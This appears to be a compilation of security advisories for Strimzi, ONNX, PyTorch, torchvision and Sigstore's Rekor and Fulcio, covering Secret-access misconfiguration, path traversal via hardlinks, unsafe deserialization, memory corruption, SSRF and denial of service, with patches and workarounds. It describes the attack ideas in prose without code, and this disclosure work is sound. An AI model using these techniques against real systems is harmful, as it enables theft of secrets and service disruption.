Impact

In some situations, Strimzi creates an incorrect Kubernetes Role which grants the Apache Kafka Connect and Apache Kafka MirrorMaker 2 operands the GET access to all Kubernetes Secrets that exist in the given Kubernetes namespace. The exact scenario when this happens is when: Apache Kafka Connect is deployed without at least one of the following options configured: TLS encryption with configured trusted certificates (no .spec.tls.trustedCertificates section in the KafkaConnect CR) mTLS authentication (no type: tls in .spec.authentication section of the KafkaConnect CR) TLS encryption with configured trusted certificates for type: oauth authentication (no .spec.authentication.tlsTrustedCertificates section in the KafkaConnect CR) Apache Kafka MirrorMaker2 is deployed without at least one of the following options configured for the target cluster: TLS encryption with configured trusted certificates (no .spec.target.tls.trustedCertificates section in the KafkaConnect CR) mTLS authentication (no type: tls in .spec.target.authentication section of the KafkaConnect CR) TLS encryption with configured trusted certificates for type: oauth authentication (no .spec.target.authentication.tlsTrustedCertificates section in the KafkaConnect CR) TLS encryption with configured trusted certificates (no .spec.clusters[].tls.trustedCertificates section in the KafkaConnect CR for the target cluster) mTLS authentication (no type: tls in .spec.clusters[].authentication section of the KafkaConnect CR for the target cluster) TLS encryption with configured trusted certificates for type: oauth authentication (no .spec.clusters[].authentication.tlsTrustedCertificates section in the KafkaConnect CR for the target cluster)

When the operands configured as described above are deployed with Strimzi >= 0.47.0 and <= 0.49.0, any code running within their Pods and using their Service Account for authentication will be able to GET any Kubernetes Secret from the same namespace. This can be done by executing 3rd party tools from the Pods. Or directly from the Kafka Connect code, for example, using configuration providers or HTTP connectors. The Pods are allowed to only GET the Secrets. They are not allowed to list, watch, modify, or delete the Secrets.

Patches

The issue is fixed in Strimzi 0.49.1.

Workarounds

There is no workaround for this issue when using the affected operands with the affected configurations.

Summary The issue is in onnx.load — the code checks for symlinks to prevent path traversal, but completely misses hardlinks, which is the problem, since a hardlink looks exactly like a regular file on the filesystem.

The Real Problem The validator in onnx/checker.cc only calls issymlink() and never checks the inode or stnlink, so a hardlink walks right through every security check without any issues.

Impact Especially dangerous in AI supply chain scenarios like HuggingFace — a single malicious model is enough to silently steal secrets from the victim's machine without them noticing anything.

Summary The ExternalDataInfo class in ONNX was using Python’s setattr() function to load metadata (like file paths or data lengths) directly from an ONNX model file. The problem? It didn’t check if the "keys" in the file were valid. Because it blindly trusted the file, an attacker could craft a malicious model that overwrites internal object properties.

Why its Dangerous Instant Crash DoS: An attacker can set the length property to a massive number like 9 petabytes. When the system tries to load the model, it attempts to allocate all that RAM at once, causing the server to crash or freeze Out of Memory.

Access Bypass: By setting a negative offset -1, an attacker can trick the system into reading parts of a file it wasn't supposed to touch.

Object Corruption: Attackers can even inject "dunder" attributes like class to change the object's type entirely, which could lead to more complex exploits.

Fixed: https://github.com/onnx/onnx/pull/7751 object state corruption and DoS via ExternalDataInfo attribute injection

A vulnerability was found in PyTorch 2.6.0+cu124. It has been declared as critical. Affected by this vulnerability is the function torch.ops.profiler.callendcallbacksonjitfut of the component Tuple Handler. The manipulation of the argument None leads to memory corruption. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult.

A vulnerability was found in PyTorch 2.6.0+cu124. It has been rated as problematic. Affected by this issue is the function nnqSigmoid of the component Quantized Sigmoid Module. The manipulation of the argument scale/zeropoint leads to improper initialization. The attack needs to be approached locally. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used.

A vulnerability, which was classified as problematic, has been found in PyTorch 2.6.0+cu124. Affected by this issue is the function torch.mkldnnmaxpool2d. The manipulation leads to denial of service. An attack has to be approached locally. The exploit has been disclosed to the public and may be used.

A vulnerability was found in PyTorch 2.6.0. It has been declared as critical. Affected by this vulnerability is the function torch.nn.utils.rnn.padpackedsequence. The manipulation leads to memory corruption. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used.

A vulnerability was found in PyTorch 2.6.0. It has been rated as critical. Affected by this issue is the function torch.nn.utils.rnn.unpacksequence. The manipulation leads to memory corruption. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used.

A vulnerability classified as critical has been found in PyTorch 2.6.0. This affects the function torch.jit.script. The manipulation leads to memory corruption. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used.

A vulnerability classified as critical was found in PyTorch 2.6.0. This vulnerability affects the function torch.lstmcell. The manipulation leads to memory corruption. The attack needs to be approached locally. The exploit has been disclosed to the public and may be used.

A vulnerability classified as problematic has been found in PyTorch 2.6.0. Affected is the function torch.jit.jitmodulefromflatbuffer. The manipulation leads to memory corruption. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used.

A vulnerability, which was classified as problematic, has been found in PyTorch 2.6.0. This issue affects the function torch.cuda.memory.cachingallocatordelete of the file c10/cuda/CUDACachingAllocator.cpp. The manipulation leads to memory corruption. An attack has to be approached locally. The exploit has been disclosed to the public and may be used.

A vulnerability, which was classified as problematic, was found in PyTorch 2.6.0. Affected is the function torch.nn.functional.ctcloss of the file aten/src/ATen/native/LossCTC.cpp. The manipulation leads to denial of service. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The name of the patch is 46fc5d8e360127361211cb237d5f9eef0223e567. It is recommended to apply a patch to fix this issue.

Description I found a Remote Command Execution (RCE) vulnerability in PyTorch. When loading model using torch.load with weightsonly=True, it can still achieve RCE.

Background knowledge https://github.com/pytorch/pytorch/security As you can see, the PyTorch official documentation considers using torch.load() with weightsonly=True to be safe. !image Since everyone knows that weightsonly=False is unsafe, so they will use the weightsonly=True to mitigate the seucirty issue. But now, I just proved that even if you use weightsonly=True, it can still achieve RCE.

Credit This vulnerability was found by Ji'an Zhou.

In PyTorch before 2.7.0, when inductor is used, nn.Fold has an assertion error.

In PyTorch before 2.7.0, when torch.compile is used, FractionalMaxPool2d has inconsistent results.

PyTorch before 3.7.0 has a bernoullip decompose function in decompositions.py even though it lacks full consistency with the eager CPU implementation, negatively affecting nn.Dropout1d, nn.Dropout2d, and nn.Dropout3d for fallbackrandom=True.

An issue in the component torch.linalg.lu of pytorch v2.8.0 allows attackers to cause a Denial of Service (DoS) when performing a slice operation.

A Name Error occurs in pytorch v2.7.0 when a PyTorch model consists of torch.cummin and is compiled by Inductor, leading to a Denial of Service (DoS).

A syntax error in the component proxytensor.py of pytorch v2.7.0 allows attackers to cause a Denial of Service (DoS).

pytorch v2.8.0 was discovered to display unexpected behavior when the components torch.rot90 and torch.randnlike are used together.

A buffer overflow occurs in pytorch v2.7.0 when a PyTorch model consists of torch.nn.Conv2d, torch.nn.functional.hardshrink, and torch.Tensor.view-torch.mv() and is compiled by Inductor, leading to a Denial of Service (DoS).

An issue in pytorch v2.7.0 can lead to a Denial of Service (DoS) when a PyTorch model consists of torch.Tensor.tosparse() and torch.Tensor.todense() and is compiled by Inductor.

An issue was discovered in PyTorch v2.5 and v2.7.1. Omission of profiler.stop() can cause torch.profiler.profile (PythonTracer) to crash or hang during finalization, leading to a Denial of Service (DoS).

Impact

Excessive memory allocation

Function api.ParseJSONRequest currently splits (via a call to strings.Split) an optionally-provided OID (which is untrusted data) on periods. Similarly, function api.getContentType splits the Content-Type header (which is also untrusted data) on an application string.

As a result, in the face of a malicious request with either an excessively long OID in the payload containing many period characters or a malformed Content-Type header, a call to api.ParseJSONRequest or api.getContentType incurs allocations of O(n) bytes (where n stands for the length of the function's argument). Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)

Patches

Upgrade to v2.0.3.

Workarounds

There are no workarounds with the service itself. If the service is behind a load balancer, configure the load balancer to reject excessively large requests.

Summary

/api/v1/index/retrieve supports retrieving a public key via a user-provided URL, allowing attackers to trigger SSRF to arbitrary internal services.

Since the SSRF only can trigger GET requests, the request cannot mutate state. The response from the GET request is not returned to the caller so data exfiltration is not possible. A malicious actor could attempt to probe an internal network through Blind SSRF.

Impact

SSRF to cloud metadata (169.254.169.254) SSRF to internal Kubernetes APIs SSRF to any service accessible from Fulcio's network

Patches

Upgrade to v1.5.0. Note that this is a breaking change to the search API and fully disables lookups by URL. If you require this feature, please reach out and we can discuss alternatives.

Workarounds

Disable the search endpoint with --enableretrieveapi=false.

Summary

Rekor’s cose v0.0.1 entry implementation can panic on attacker-controlled input when canonicalizing a proposed entry with an empty spec.message. validate() returns nil (success) when message is empty, leaving sign1Msg uninitialized, and Canonicalize() later dereferences v.sign1Msg.Payload.

Impact

A malformed proposed entry of the cose/v0.0.1 type can cause a panic on a thread within the Rekor process. The thread is recovered so the client receives a 500 error message and service still continues, so the availability impact of this is minimal.

Patches

Upgrade to v1.5.0

Workarounds

None

Summary

A vulnerability in PyTorch's weightsonly unpickler allows an attacker to craft a malicious checkpoint file (.pth) that, when loaded with torch.load(..., weightsonly=True), can corrupt memory and potentially lead to arbitrary code execution.

Vulnerability Details

The weightsonly=True unpickler failed to properly validate pickle opcodes and storage metadata, allowing:

1. Heap memory corruption via SETITEM/SETITEMS opcodes applied to non-dictionary types 2. Storage size mismatch between declared element count and actual data in the archive

Impact

An attacker who can convince a user to load a malicious checkpoint file may achieve arbitrary code execution in the context of the victim's process.

Credit Ji'an Zhou

A vulnerability was identified in PyTorch 2.10.0. The affected element is an unknown function of the component pt2 Loading Handler. The manipulation leads to deserialization. The attack can only be performed from a local environment. The exploit is publicly available and might be used. The project was informed of the problem early through a pull request but has not reacted yet.

PyTorch torchvision through 0.28.0, fixed in commit 4e05dc2, contains an out-of-bounds heap read vulnerability in the GIF decoder's readfromtensor callback that passes unclamped length to memcpy. Attackers can supply malicious or truncated GIF files to cause denial of service via segmentation fault or disclose adjacent heap memory contents.